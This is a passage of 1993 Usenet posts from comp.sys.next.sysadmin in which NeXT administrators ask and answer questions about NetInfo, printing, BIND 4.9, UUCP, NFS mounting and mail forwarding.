domain, which of course, I did not want. I wanted a 1-level domain, versus the 2-level that you have by default. If it still wants a 2-level domain, go ahead and create it, it won't kill you. it just means you're running another nidb locally. - Kevin Wang
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.sysadmin Subject: Re: The problem with fat binaries. Date: 19 May 1993 15:10:51 GMT Organization: Stanford University Message-ID: <1tdilr$7pa@morrow.stanford.edu> References: <1tba25$3n4@morrow.stanford.edu> In article <1tba25$3n4@morrow.stanford.edu> I wrote: > will there be tools to compose existing thin binaries (no source) > into fat? A couple of folks in the know have explained that there is such a tool to build fat binaries out of thin included in 3.1 that can be used to recombine parts of the 68K-only and 486-only distributions into a fat distribution on a common server. Thanks for the responses, - Christopher
From: Christopher_Lane@Med.Stanford.EDU Newsgroups: comp.sys.next.sysadmin Subject: Re: printing 2-up Date: 19 May 1993 15:14:40 GMT Organization: Stanford University Message-ID: <1tdit0$81h@morrow.stanford.edu> References: <1993May18.154119.2471@ncsu.edu> JOSEPH CARL DAVIS <jcdavis1@eos.ncsu.edu> writes: > where is a program that will allow me to print a POSTSCRIPT file > in 2-up? The 'psnup' program that comes with 3.0 should do what you want -- I've used it successfully to do 'six up'. The introduction from the Unix 'man' page follows below. - Christopher PSNUP(1) UNIX Programmer's Manual PSNUP(1) NAME psnup - Print multiple pages on a sheet of paper. SYNOPSIS psnup [ -rG ] [ -nnupspec ] [ -Spapersize ] [ -spagesize ] [ -poutputfile ] [ -Pprinter ] [ -dprinter ] [ file ] DESCRIPTION psnup reads in a POSTSCRIPT file (or the standard input if no file is named), and if the input conforms to the POSTSCRIPT file structuring conventions, provides page rota- tion, printing of multiple pages on a sheet of paper (n-up printing), selection of page and paper sizes, and writes the resulting file on the standard output. The output may be directed to a file.
Newsgroups: comp.sys.next.sysadmin From: Aaron Herskowitz <aherskow@alleg.edu> Subject: Digital Webster Duplicate Dictionary? Message-ID: <1993May19.154023.6428@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Wed, 19 May 1993 15:40:23 GMT In preparation for some 3.0 and hopefully 3.1 upgrades, I have been trying to determine what packages take up what space. I found that the 3.0 Digital Webster package contains the Webster.app, the Thesaurus and the /NextLibrary/References/Webster-Dictionary/CompactDictionary (a 14 meg file.) The Literature package contains the Websters picture database and the file /NextLibrary/References/Webster-Dictionary/Dictionary (a 20 meg file.) What I would like to know is if the "Dictionary" file contains the "CompactDictionary" information or not. For instance, if I install the full Webster and Literature packages, can I remove the "CompactDictionary" file and still have full functionality of Websters? Or is "CompactDictionary" and "Dictionary" more like "common words" and "uncommon words"? I tried to rename both the files and lookup a few words, and it seems possible, but I wanted to know for sure. Anyone know? Aaron -- Allegheny College, Meadville, Pennsylvania [aherskow@alleg.edu NeXTmail Welcomed]
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Digital Webster Duplicate Dictionary? Message-ID: <C7A71q.ILJ@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993May19.154023.6428@alleg.edu> Date: Wed, 19 May 1993 15:58:38 GMT In article <1993May19.154023.6428@alleg.edu> aherskow@alleg.edu writes: > >What I would like to know is if the "Dictionary" file contains the >"CompactDictionary" information or not. For instance, if I install the >full Webster and Literature packages, can I remove the "CompactDictionary" >file and still have full functionality of Websters? Or is >"CompactDictionary" and "Dictionary" more like "common words" and >"uncommon words"? > Yep, you can go ahead and blow away the CompatDictionary if you've installed the Full Webster package. -rob --- Rob Francis Minix/Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: jcdavis1@eos.ncsu.edu (JOSEPH CARL DAVIS) Subject: Matrix packages in 'C' Message-ID: <1993May19.151424.12047@ncsu.edu> Sender: news@ncsu.edu (USENET News System) Organization: NCSU Project Eos Date: Wed, 19 May 1993 15:14:24 GMT Hello out there: I am starting to look at doing some mathematical computation on teh NeXT, and I am wondering if there are any Matrix computation packages available in 'c'. I have heard about eispack and linpack, but they are written in Fortran, and I don't think that they will be as 'optimal' if I use f2c to convert them to 'c'. What are people using for mathematical computation? please don't tell me to write my own, as I don't have time to learn all of the nuances of writing optimal matrix computation code. I could write naive ones rather easily, but optimal ( fast ) routines are not obvious. thanks for any help. regards, jcd . -- \ Joseph C. Davis jcdavis1@eos.ncsu.edu People are not basically \ \ (919) 515-7452 stupid, they just act \ \ that way... \ \\\\\|||||//////\\\\\\|||||/////\\\\\\|||||\\\\\//////||||||\\\\\/////||||///
From: curt@oasys.dt.navy.mil (Curt Welch) Newsgroups: comp.sys.next.sysadmin Subject: autonfsmount dies / SLIP problem Message-ID: <36062@oasys.dt.navy.mil> Date: 19 May 93 17:30:23 GMT Organization: Carderock Division, NSWC, Bethesda, MD I've got a problem with autonfsmount and was wondering if anyone had seen (and solved) this problem before. I'm trying to help someone set up NFS over a SLIP line to his home system. The SLIP line seems to be working fine now, and he can mount the remote file system using a mount command from a terminal window, but when he uses NFS Manager and sets up the remote directory to be mounted automatically, it never mounts. I've been helping this guy over the phone and don't have direct access to his system so it's hard for me to debug the problem. I noticed that (autonfsmount) isn't running, but other deamons, like the 4 (biod) are running. I assume this is why it isn't working. I noticed that autnfsmount wasn't running on my system either (which isn't running SLIP) but is otherwise configured simmilar to his. In my console log, there are messages like this: May 17 22:25:00 kcwc autonfsmount: Can't get my address If I try to run autonfsmount (with the same arguments it's started with in rc) I get the same error, and it dies. He said he saw errors like that also. Does anyone know why autonfsmount is dying? Why can't it get it's address? What address is it trying to get? Is it trying to talk to some other deamon that might not be running? The system is configured to only bind to it's local netinfo domain. The ethernet address is configured to be the same as the SLIP address - but nothing is connected to the ethernet interface. (This strikes me as a very strange thing to do but seems to be the way to make SLIP work on a NeXT -- can anyone explain to me why this even works?) Thanks in advance for any help anyone can give me on this. Curt Welch
Newsgroups: comp.sys.next.sysadmin From: jbryans@csulb.edu (Jack Bryans) Subject: BIND 4.9 released Message-ID: <JBRYANS.93May19110333@wren.csulb.edu> Sender: news@csulb.edu (News Administration/Rumor Bureau) Organization: Cal State Long Beach Date: Wed, 19 May 1993 18:03:36 GMT BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3 problems and is highly recommended. Note that the BOG.psf, mentioned below, is in the tar as doc/BOG/file.psf. For Preview purposes it can be renamed or linked to a .ps file. Jack ----- >From: vixie@pa.dec.com (Paul A Vixie)>Newsgroups: comp.protocols.tcp-ip.domains >Subject: BIND 4.9 has been released >Date: 17 May 93 21:42:21 >Organization: DEC Network Systems Lab >Distribution: world >NNTP-Posting-Host: cognition.pa.dec.com > >[ this was posted on the bind and namedroppers mailing lists, now here. --vix ] > >After several years of development and at least one year of testing, BIND 4.9 >has finally exited Beta testing and is ready to rock and roll. You can get it >from gatekeeper.dec.com via anonymous FTP as /pub/BSD/bind/4.9/4.9.930517.tar.Z >(the Bind Operations Guide, substantially improved, is in the same directory, >called BOG.psf). > >This BIND has been the name server running on DECWRL.DEC.COM, UUNET.UU.NET, >EUNET.EU.NET, MUNNARI.OZ.AU, and hundreds of other large and small servers, >for at least six months. We consider it "stable". > >Improvements over 4.8.3 are too numerous to list. If you have had any kind of >trouble with 4.8.3 (and if you use it, you've had trouble with it, though you >may not know this), you should upgrade to 4.9. Operating system vendors are >encouraged to include this version of BIND as soon as their release schedules >permit; the NSFnet backbone will thank you for it, as will your customers. > >This BIND includes "dig" (from USC/ISI) and "host" (from Rutgers), as well as >a large collection of contributed scripts, utilities, and documentation. The >resolver has also been improved. > >This BIND is known to compile and run on ULTRIX/RISC 4.2-4.3, SunOS 4.1.x, >BSD/386 1.0, NeXTstep 3.0, UMIPS/V, HP-UX 8.x, Alpha AXP OSF/1 1.2, and more. > >This BIND was funded by Digital Equipment Corporation and is hereby released >into full public use, subject to the same restrictions as the U C Berkeley >Networking 2 ("net2") release. There is a DIGITAL ("DEC") Copyright in each >file but it's just noise for the lawyers -- no practical restrictions have >been added other than DIGITAL's disclaimer of liability. > >I (Paul Vixie) was the principle contributor to this release, as well as code >librarian and test/release coordinator. However, my efforts would have been >wasted without the assistance and participation of the alpha test list, to >whom special thanks are given in the new Bind Operations Guide ("BOG").
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Netinfo / access Message-ID: <1993May19.173500.8939@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 19 May 1993 17:35:00 GMT I have 18 nexts and other stuff on a local net. One machine acts as a netinfo server. In addition there are two clone servers on the net. At present I have to log in to the the server machine to make any changes to the root domain. I used to be able to do this with by filling in the root domain password. Now that panel won't accept the password, although it's an identical copy of the entry for the /local root entry. (nidump passwd . | grep root | niload passwd /) Ideas? -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: jdyer@henr.mc.xerox.com (John Dyer) Message-ID: <9305192136.AA04722@dogleg.henr.mc.Xerox.COM> Subject: UUCP and Supra32bis Date: Wed, 19 May 1993 14:36:23 PDT id AA04722; Wed, 19 May 93 17:36:23 EDT To all the masters of UUCP, I've just recently switched my modem from a Hayes-compat 2400 to a Supra32bis/42bis. With the 2400baud modem I had no problems with UUCP. Now it doesn't work. I have not made any changes to the new modem's factory settings (maybe this is my problem?). Here's the info: L-devices: ACU cufb 0 38400 hayestone L.sys grace Any ACU 38400 1234567 "" chatscript When I look at LOGFILE in /usr/spool/uucp, I see, jdyer grace (5/7-02:00-196) HSM seems dead (/dev/cufb) jdyer grace (5/7-02:00-196) LOST LINE (LOGIN) jdyer grace (5/7-02:00-196) HSM did not respond to ATZ () jdyer grace (5/7-02:00-196) FAILED (call to grace) Permissions on /dev/cu* rw-rw-rw uucp cua rw-rw-rw uucp cub rw-rw-rw uucp cufa rw-rw-rw uucp cufb Oh, I also had the NXFax demo on my machine at one time, but uninstalled it. I can get out using kermit with no problems. The "set line /dev/cufb" works fine. The NeXT documentation didn't help, and the O'Reilly book didn't help either (Managing UUCP and Usenet). Perhaps I'm just dense. If you can help me I'll be eternally grateful. My uucp link at home is cut off, and it's not pretty. Thanks. John Dyer jdyer@henr.mc.xerox.com jdyer.henr801b@xerox.com
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.sysadmin Subject: Printing .ps files via lpr Message-ID: <8679@ucsbcsl.ucsb.edu> Date: 19 May 93 23:10:05 GMT Sender: root@ucsbcsl.ucsb.edu Organization: Center for Computer Music Research and Composition, U.C.S.B. Is there a way to print an existing postscript file via the lpr command? A related question: Is there a way to pipe the output of a command that produces a postscript output to lpr and have it print on the NeXT LaserPrinter? If you try to do this without any options, you end of with pages of postscript characters--not exactly useful. -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin From: rane+@cs.cmu.edu (Aaron Hughes) Subject: export printcap and host table from server Message-ID: <C7Avv0.LB6.2@cs.cmu.edu> Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon Date: Thu, 20 May 1993 00:54:35 GMT Is there any easy way to have a spearate machine that holds all the printcap and host table information, and allow other NeXT machines to access that data? I'd rather not have to update each individual machine. I have a hunch that netinfo allows you to do that, but I'm not sure how. Thanks, Aaron -- Aaron Hughes DoD#0482 The Freedom Junkie rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: lebay@mercury.cl.msu.edu (Jim LeBay) Newsgroups: comp.sys.next.sysadmin Subject: Re: Landscape printing on NextPrinter Date: 20 May 1993 03:07:36 GMT Organization: Michigan State University Message-ID: <1teslo$qcd@msuinfo.cl.msu.edu> References: <1993May10.213936.26329@newsgate.sps.mot.com> Tim Reed writes > Is there a way to force the NextPrinter to print in landscape > orientaion? I would like to add another print queue to allow printing > in landscape but I don't want to lose the ability to print in > portrait. Is this possible with only 1 printer. Assuming you're talking about printing text files with lpr, as opposed to printing PostScript from NEXTSTEP applications, yes you can. You need to create a seperate print queue with a filter which enscripts the text file, converting it to a landscape PostScript file, which gets sent to the normal print queue. It's not foolproof, but it works for me. First create a 2-line shell script to use as the print filter. The important enscript options are -r and -P. (I saved it as /usr/local/lib/landfilter) #!/bin/sh enscript -r -l -q -fCourier9 -PLocal_Printer Then, use niload to add a printcap entry similar to this: land|Landscape printing on Local_Printer: \ :mx#0:lp=/dev/null:ty=NeXT 400 dpi Laser Printer: \ :sd=/usr/spool/NeXT/land:if=/usr/local/lib/landfilter: ----- Jim LeBay (517) 353-1800 353-5364 (FAX) Computer Information Center lebay@msu.edu lebay@msu.bitnet Michigan State University lebay@mercury.cl.msu.edu (NeXTmail) ** Windows NT = New Terminology = Nitwit Technology = Windows NoT!!! **
From: lebay@mercury.cl.msu.edu (Jim LeBay) Newsgroups: comp.sys.next.sysadmin Subject: Re: Printing .ps files via lpr Date: 20 May 1993 03:19:04 GMT Organization: Michigan State University Message-ID: <1tetb8$bjc@msuinfo.cl.msu.edu> References: <8679@ucsbcsl.ucsb.edu> Douglas Scott writes > Is there a way to print an existing postscript file via the lpr command? A > related question: Is there a way to pipe the output of a command that > produces a postscript output to lpr and have it print on the NeXT > LaserPrinter? > > If you try to do this without any options, you end of with pages of > postscript characters--not exactly useful. I use lpr all the time with no options. Just make sure that the FIRST two characters in the PostScript file are %! ----- Jim LeBay (517) 353-1800 353-5364 (FAX) Computer Information Center lebay@msu.edu lebay@msu.bitnet Michigan State University lebay@mercury.cl.msu.edu (NeXTmail) ** Windows NT = New Terminology = Nitwit Technology = Windows NoT!!! **
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: philip@utstat.toronto.edu (Philip McDunnough) Subject: Re: Using NEXTSTEP for a Mac server and connection to Unix network Message-ID: <C7BCMp.862@utstat.toronto.edu> Keywords: Mac Server Organization: University of Toronto, Dept. of Statistics References: <1993May18.222128.4860@iitmax.iit.edu> <1993May19.015535.17495@fcom.cc.utah.edu> Date: Thu, 20 May 1993 06:56:48 GMT In article <1993May19.015535.17495@fcom.cc.utah.edu> yf5990@u.cc.utah.edu (Yan Fang) writes: [ ] > >It sounds like what you want is uShare, made by IPT. I don't know if >they've ported it to the '486, as the last time I talked with them they >were bummed out about NeXT's sale of the factory. This is not at all the impression I got from speaking to them off and on over the past little while. They are busy moving things to NS/Intel. Odd statemnt...these types of blanket statements do not serve any useful purpose ("bummed out..."). [ ] -- Philip McDunnough University of Toronto philip@utstat.toronto.edu [Where sheep may safely graze...]
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: BIND 4.9 released Message-ID: <1993May20.083503.18546@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <JBRYANS.93May19110333@wren.csulb.edu> Date: Thu, 20 May 1993 08:35:03 GMT In article <JBRYANS.93May19110333@wren.csulb.edu> jbryans@csulb.edu (Jack Bryans) writes: >BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3 >problems and is highly recommended. Should I be the least bit concerned about the 882 lines of warnings I got by adding -Wall to the compile options? -=EPS=- -- Just because they have "lint" doesn't mean they use it.
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: export printcap and host table from server Date: 20 May 1993 13:40:05 GMT Organization: University of Houston Message-ID: <1tg1nl$rrb@menudo.uh.edu> References: <C7Avv0.LB6.2@cs.cmu.edu> In article <C7Avv0.LB6.2@cs.cmu.edu> rane+@cs.cmu.edu (Aaron Hughes) writes: #Is there any easy way to have a spearate machine that #holds all the printcap and host table information, and #allow other NeXT machines to access that data? I'd rather #not have to update each individual machine. I have #a hunch that netinfo allows you to do that, but I'm not #sure how. # Yes, you can use NetInfo. The easiest way is to set up a multi-level NetInfo domain structure. Then at the highest level, have your host, printcap and user entries. Then you only need to make changes at that location and they will be seen by all the clients... Look in: /NextLibrary/Documentation/NextAdmin/01_Planning, 02_QuickStart, 03_SetUpNet,... for detail on NetInfo. #Aaron Hughes DoD#0482 The Freedom Junkie #rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: chuckie@spock.choate.edu (Alec Peterson) Subject: Cube Drive Bays Message-ID: <C7BvsD.Dy@choate.edu> Sender: usenet@choate.edu Organization: Choate Rosemary Hall Date: Thu, 20 May 1993 13:50:36 GMT I'm curious as to how many drive bays a NeXT cube has. If anyone knows, please tell me, mail or post. Thanks --- ------------------------------------------------------------------------------- |Alec H. Peterson |Choate Rosemary Hall |NeXT Mail: | |E-mail:chuckie@choate.edu|P.O. Box 788 |chuckie@margaret.choate.edu | |PGP v2.2 key available |Wallingford, Ct. 06492|Internet Address: | |upon request. | |chuckie@choate.jvnc.net | -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: Iroo Subject: Why is the mail going thataway? Message-ID: <1993May20.120547.245@deep13.com> Keywords: mail, SLIP Sender: iroo@deep13.com Organization: Deep-13 Date: Thu, 20 May 1993 12:05:47 GMT I tried to update some network addresses in my system and used Simple Network Starter (Yes, I know, I know, not the way to do it). Now, instead of queueing up the mail on my default UUCP interface (which is what is says to do in my /etc/sendmail/sendmail.cf), it now tries to SLIP connection my mail up (I don't have that part set up quite yet). Any ideas about what could have happened, and more importantly, how to fix? Thanks..... -- Ira Frosch gypsy!iroo@csn.org NeXTMail - OK! -- Ira Frosch gypsy!iroo@csn.org
Newsgroups: comp.sys.next.sysadmin From: mleggott@sandnc.stfx.ca (Mark Leggott) Subject: Installing 3.0 on Optical Message-ID: <1993May20.144104.17179@nstn.ns.ca> Keywords: NS 3.0 optical Sender: usenet@nstn.ns.ca (NNTP Entity) Organization: NSTN Network Operations Centre, Nova Scotia, Canada Date: Thu, 20 May 1993 14:41:04 GMT I am trying to install 3.0 from CD to an optical disc. The install process seemed to proceed and finish normally. However the OD fails to boot properly. Is 3.0 supposed to work from an OD? Is there anything special I should do to make it work? Thanks Mark Leggott
Newsgroups: comp.sys.next.sysadmin From: Derek Kwan Subject: Re: How To Automatically Forward Mail Message-ID: <C7ByA8.C8J@watserv1.uwaterloo.ca> Sender: news@watserv1.uwaterloo.ca Organization: University of Waterloo References: <1993May14.113356.1624@gamelan> Date: Thu, 20 May 1993 14:44:31 GMT In article <1993May14.113356.1624@gamelan> thf@zelator.in-berlin.de (Thomas Funke) writes: } In article <1srl3b$8tc@vtserf.cc.vt.edu> teske@opac1.cc.vt.edu (Steve Teske) } writes: } > } > My desire is to forward all my mail to one workstation in the network of } > NeXT's that I work with. There is no mail server set up for the network. } > I could use some hints on how to automatically forward mail to one } > workstation. } } Put a file '.forward' in your home-dir and fill it with the user/machines you } wish to forward the mails: } } e.g.: } } steve_jobs@next.com } } What about I just want to send a Carbon copy of every received mail to my another account? Derek
From: stuart@oasys.dt.navy.mil (Stuart Pearlman) Newsgroups: comp.sys.next.sysadmin Subject: Digital Librarian Indexing hanging on nfs mounted directory. Message-ID: <36105@oasys.dt.navy.mil> Date: 20 May 93 15:22:33 GMT Organization: Carderock Division, Naval Surface Warfare Center I'm trying to install the latest NeXTanswers (winter 93). Due to space considerations, I am putting them on on an nfs mounted partition (the nfs server is a Sequent S27 running dynix 3.0.17.9). Every time I try to create the index digital librarian hangs. It starts off (very slowly) listing the files it's indexing, but when it gets through about 20 files, it seems to hang. The file name stops getting updated. (It's not the particular file; I tried removing it and it hung on the next one). I built the index on the local disk and everything worked fine, but copying that index to the other directory didn't work. Another wierd occurance. I let it run all night, and now when I try to list titles for NeXTanswers in digital librarian it shows all 494 found, but it is extremely slow (finding about 1 title a second). Any suggestions would be greatly appreciated. Thanks very much. -stuart -- Stuart Pearlman stuart@oasys.dt.navy.mil Trandes Corporation +1 301 459 0200 On-Contract-To: David Taylor Research Center +1 301 227 1428
Newsgroups: comp.sys.next.sysadmin From: verket@venice.sedd.trw.com (Paul Verket) Subject: Re: How To Automatically Forward Mail Message-ID: <1993May20.161759.21970@venice.sedd.trw.com> Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <C7ByA8.C8J@watserv1.uwaterloo.ca> Date: Thu, 20 May 1993 16:17:59 GMT Derek Kwan wrote: : What about I just want to send a Carbon copy of every received mail to my : another account? RTFM forward. An example would be: \verket, verket@anotherMachine Paul Verket (NeXTmail ok
From: dbora@ils.nwu.edu (Donald Bora) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Terminal problems Date: 20 May 1993 14:13:13 GMT Organization: The Institute for the Learning Sciences Distribution: world Message-ID: <1tg3lp$3ff@anaxagoras.ils.nwu.edu> I just picked up an ampex 230 terminal and am trying to hook it up to my NeXT computer. I was wondering if there is anything special one had to do to get the thing to work. I have set the term to be ampex.. I did the kill -HUP 1... I get nothing but: copyright 1984,1985 amaitix & associates inc. 005436 copyright 1983 ampex corporation rom level 1.2p term 1 adr 04 spd 01 term 2 adr of printer adr 06 spd 02 typ 02 I am pretty lost and anything anything can do to steer me in the right direction would be greatly appreciated. thanks in advance -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Donald F. Bora | | | The Institute for the Learning Sciences | . | O | Northwestern University | (--|--) Evanston, Ill | | e-mail: dbora@ils.nwu.edu | / \ work: (708) 467-1972 | --------Be excellent to each other--------
Newsgroups: comp.sys.next.sysadmin From: thf@zelator.in-berlin.de (Thomas Funke) Subject: crashing a NeXT, was 'Re: spurious DMA interrupts' Message-ID: <1993May16.191445.1046@gamelan> Sender: thomas@gamelan (thomas) Organization: NNU Corp. - NeXT is Not UN*X References: <1surjb$p91@tamsun.tamu.edu> Date: Sun, 16 May 1993 19:14:45 GMT In article <1surjb$p91@tamsun.tamu.edu> daugher@cs.tamu.edu(Walter C. Daugherity) writes: > extremely heavy ethernet traffic (but that SHOULDN'T crash the system, should > it?). Any clues? E-mail appreciated. > Nothing should crash a NeXT. But the famous 'crashme' program, run as non-root of course, does it in a few milliseconds. I read recentliy, at least on NS/Intel it would take a few minutes. Did anybody try that ? -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de C is a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language
Newsgroups: comp.sys.next.sysadmin From: jbryans@csulb.edu (Jack Bryans) Subject: Re: BIND 4.9 released In-Reply-To: eps@futon.SFSU.EDU's message of Thu, 20 May 1993 08:35:03 GMT Message-ID: <JBRYANS.93May20111530@wren.csulb.edu> Sender: news@csulb.edu (News Administration/Rumor Bureau) Organization: Cal State Long Beach References: <JBRYANS.93May19110333@wren.csulb.edu> <1993May20.083503.18546@csus.edu> Date: Thu, 20 May 1993 18:15:33 GMT In article <1993May20.083503.18546@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: > In article <JBRYANS.93May19110333@wren.csulb.edu> jbryans@csulb.edu (Jack Bryans) writes: > >BIND 4.9 makes right out'a the box for NeXTs. It fixes gobs of 4.8.3 > >problems and is highly recommended. > Should I be the least bit concerned about the 882 lines of > warnings I got by adding -Wall to the compile options? Nope, don't Wall & the warnings cut down to 45. BFD. It's been running here on primary, secondary, & caching only name servers for a month w/only nearly dramatic performance improvement to complain about. Jack
From: bill@ganesha.cognet.ucla.edu (William Eldridge) Newsgroups: comp.sys.next.sysadmin Subject: Prob changing master server in netinfo Date: 20 May 1993 18:10:14 GMT Organization: UCLA Cognitive Science Research Program Message-ID: <1tghi6$6ij@alamut.cognet.ucla.edu> I posted a query on this a few days ago, and so far have gotten no responses. I copied the network.nidb from machine X to machine Y, which runs the network okay, but I can't make any root netinfo changes anymore. In the network.nidb, machine X is still listed as the Master server. niutil and niload don't seem to have a way to change this. Any ideas? Thanks, bill -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: klamb@basalt.Mines.Colorado.EDU (Kathleen Lamb) Subject: HP printer Sender: news@slate.mines.colorado.edu Message-ID: <1993May20.172807.72910@slate.mines.colorado.edu> Date: Thu, 20 May 1993 17:28:07 GMT Organization: Colorado School of Mines Keywords: HP,printer I've gotten a question from a faculty member, who wants to know what kind of HP printer he could buy to use from his NeXT, and what if any kind of problems he's going to run in to if he tries to do this. I know I've seen this discussed before, but at the time it wasn't information that I needed. Please send any information to fhagin@mines.colorado.edu.
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Prob changing master server in netinfo Message-ID: <C7CCp9.CKw@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1tghi6$6ij@alamut.cognet.ucla.edu> Date: Thu, 20 May 1993 19:55:56 GMT In article <1tghi6$6ij@alamut.cognet.ucla.edu> bill@ganesha.cognet.ucla.edu (William Eldridge) writes: > >I posted a query on this a few days ago, and so far >have gotten no responses. > >I copied the network.nidb from machine X to machine Y, >which runs the network okay, but I can't make any root >netinfo changes anymore. In the network.nidb, machine X >is still listed as the Master server. niutil and niload >don't seem to have a way to change this. I just did this yesterday. I'm going of what I recall, so I won't swear to it being step by step, but here's basically what I did: 1) Come to the conclusion that SNS.app sucks bird 2) Back up netinfo directories on both server and client 3) Login as root to the machine you want to make the clone # Allow your new clone to serve the / domain 4) Fire up NetInfoMangler. Open up the / domain and add a line to the new clone's machine entry so that it's 'serves' property has another value, "./network" # Clone the database 5) Open up Terminal.app and use 'nidomain' to clone: (this assumes a two level hierarchy) nidomain -c network <servername>/network # Wait 6) Wait a half hour or so for all the info to propagate. (You could just reboot instead). # Update NetInfo to let it know there's a new NetInfo server 7) Fire up NetInfoMangler. Open the / domain. Remove the old server's value of "./network" in the 'serves' property. Close that window and go to the top most "/" in the Hierarchy. Double click on it and change the value of the 'master' property to reflect the new master. Like I said, that's from memory so no promises. It's the steps I recall having to take though. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: neil@ms.uky.edu (Neil Greene) Subject: HELP: error messages from getty Message-ID: <C7CJ8B.EAv@ms.uky.edu> Keywords: getty, tasks, ipc Organization: Kentucky NeXT User Group, Inc. Date: Thu, 20 May 1993 22:16:58 GMT My system has been getting the following error message at times from getty during dialup logins: > getty: priviledges disabeled because of outstanding IPC to task Can someone tell me what is going wrong. Users are still allowed to login and everything runs fine. However, some uucp scripts fail on this message.
From: glenn@iridium.digex.net Newsgroups: comp.sys.next.sysadmin Subject: Q: How to format man pages correctly Date: 20 May 1993 22:33:08 GMT Organization: Express Access Online Communications, Greenbelt MD USA Distribution: world Message-ID: <1th0v4$ktl@news1.digex.net> Keywords: man installman Hi all, I am a relatively new user of UNIX and I have come accross something that I am not quite sure how to fix. Can someone please send me any NeXT documents regarding how to properly format the man directories so that I can install new man pages on my system and have them properly displayed with the man command in the shell and in Digital Librarian. I remember a program under 2.1 call 'installman' which seemed to work. The man page for installman is still on my system (3.0 Non-Dev) but the program is not!? iridium [/Users/glenn]-% man installman installman(1) UNIX Programmer's Manual installman(1) NAME installman - formats and indexes manual pages SYNOPSIS /usr/lib/indexing/installman [mandir] files DESCRIPTION Copies each of the named files, assumed to be unformatted manual pages, into the appropriate subdirectory of mandir (or of /NextLibrary/Documentation/ManPages, if mandir is not supplied), generates the formatted version, and updates the index. SEE ALSO ixBuild(1), man(1) If anyone out there could send me some docs, or the installman program, explaining how this whole thing works I would be most appreciative. Also any info on the other files in the man directories like whatis and the other indexing files would be warmly welcomed. Also, what is the best directory to place new man pages that I receive with new Apps? /usr/local/man? Thanks very much in advance for any info! Glenn -- Glenn D. Rempe (NeXTMAIL) glenn@iridium.digex.net 900 North Stafford St., #2017 Arlington, VA 22203-1849 Voice: (703) 276-2350 FAX: (703) 243-4398
Newsgroups: comp.sys.next.sysadmin From: neil@ms.uky.edu (Neil Greene) Subject: Re: HELP: error messages from getty Message-ID: <C7CLnE.LKn@ms.uky.edu> Keywords: getty, tasks, ipc Organization: Kentucky NeXT User Group, Inc. References: <C7CJ8B.EAv@ms.uky.edu> Date: Thu, 20 May 1993 23:09:13 GMT neil@ms.uky.edu (Neil Greene) writes: >My system has been getting the following error message at times from getty >during dialup logins: >> getty: priviledges disabeled because of outstanding IPC to task >Can someone tell me what is going wrong. Users are still allowed to login and >everything runs fine. However, some uucp scripts fail on this message. I tracked this problem down to a shell window running "tasks". Killing this solved the problem.
